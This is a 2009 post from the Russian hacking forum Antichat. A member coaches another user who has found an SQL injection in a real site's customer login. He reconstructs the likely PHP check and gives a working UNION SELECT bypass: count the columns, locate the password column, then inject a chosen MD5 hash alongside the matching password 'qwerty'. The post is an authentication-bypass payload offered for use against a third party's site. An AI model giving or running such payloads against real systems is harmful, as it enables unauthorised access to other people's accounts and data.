Показать сообщение отдельно

  #5  
Старый 27.09.2009, 23:09
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940

Репутация: 2362
По умолчанию

Цитата:
Сообщение от mailbrush  
Есть бажный сайт, при подставке кавычки в авторизацию пишет
Код:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1

select * from customers where customers_email_address='''

[TEP STOP]
Если же пишу ' or 1=1#, в ответ - пароль неверный... ' or 1=1 or customers_email_address!=''# тоже...
mailbrush, ты не вкуриваешь логику скрипта) Он сначала достает данные из базы, а уже потом сверяет пароли.
Т.е. там что-то типо такого:
PHP код:
$res mysql_query("select * from customers where customers_email_address='".$_POST['email']."'");
$item mysql_fetch_array($res);
if(
md5($_POST['password']) == $item['password']) {
echo 
"LOGINED"!
} else {
echo 
"FAIL!";

Как вариант:
1. Узнать количество столбцов
2. Узнать в каком столбце хранится пароль
3. используя union select вернуть те данные, которые подойдут для успешного логина.

Те:
Если, к примеру, 4 столбца. Пароль в 3м столбце, то запрос на логин должен быть примерно следующий:
login: ' AND 0 UNION SELECT 1,2,'d8578edf8458ce06fbc5bb76a58c5ca4',4--
password: qwerty
__________________
включи голову
 
Ответить с цитированием